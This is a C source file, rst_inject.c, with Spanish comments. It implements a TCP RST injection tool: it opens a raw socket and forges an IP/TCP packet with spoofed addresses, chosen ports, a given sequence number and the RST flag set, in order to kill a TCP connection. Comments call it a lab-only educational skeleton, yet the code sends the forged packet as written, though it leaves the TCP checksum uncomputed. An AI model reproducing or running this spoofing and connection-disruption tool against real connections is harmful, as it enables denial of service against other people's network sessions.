rst_inject.c

// Esqueleto de TCP RST injection. NO ejecutar contra conexiones ajenas.
//
// Para uso solo en redes de laboratorio propias para entender la mecánica.
// Inyecta un RST con seq esperado para matar una conexión TCP.
//
// Requiere root y conocer (sniffeando) src/dst IP, src/dst port y seq actual.
//
// Uso (educativo, no funcional sin completar SEQ):
//   sudo ./rst_inject 1.2.3.4 80 5.6.7.8 41234 <seq>

#include "../0x260/0x265_hacking.h"
#include <netinet/ip.h>
#include <netinet/tcp.h>

unsigned short ip_csum(unsigned short *p, int n) {
    unsigned long s = 0;
    while (n > 1) { s += *p++; n -= 2; }
    if (n == 1) s += *(unsigned char *) p;
    while (s >> 16) s = (s & 0xffff) + (s >> 16);
    return (unsigned short) ~s;
}

int main(int argc, char *argv[]) {
    if (argc < 6) {
        fprintf(stderr,
            "Uso: %s <src_ip> <src_port> <dst_ip> <dst_port> <seq>\n", argv[0]);
        return 1;
    }
    char *src_ip   = argv[1];
    int   src_port = atoi(argv[2]);
    char *dst_ip   = argv[3];
    int   dst_port = atoi(argv[4]);
    unsigned int seq = strtoul(argv[5], NULL, 0);

    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sock < 0) fatal("socket (necesitas root)");
    int one = 1;
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);

    char pkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
    struct iphdr  *ip = (struct iphdr *)  pkt;
    struct tcphdr *tc = (struct tcphdr *) (pkt + sizeof(struct iphdr));

    ip->ihl      = 5;
    ip->version  = 4;
    ip->tot_len  = htons(sizeof pkt);
    ip->id       = htons(0xbeef);
    ip->ttl      = 64;
    ip->protocol = IPPROTO_TCP;
    inet_pton(AF_INET, src_ip, &ip->saddr);
    inet_pton(AF_INET, dst_ip, &ip->daddr);
    ip->check    = ip_csum((unsigned short *) ip, sizeof(struct iphdr));

    tc->source   = htons(src_port);
    tc->dest     = htons(dst_port);
    tc->seq      = htonl(seq);
    tc->doff     = 5;
    tc->rst      = 1;
    tc->window   = htons(65535);

    struct sockaddr_in dst = {.sin_family = AF_INET, .sin_port = htons(dst_port)};
    inet_pton(AF_INET, dst_ip, &dst.sin_addr);

    if (sendto(sock, pkt, sizeof pkt, 0, (struct sockaddr *) &dst, sizeof dst) < 0)
        fatal("sendto");
    printf("[+] RST enviado %s:%d -> %s:%d  seq=%u\n",
           src_ip, src_port, dst_ip, dst_port, seq);
    close(sock);
    return 0;
}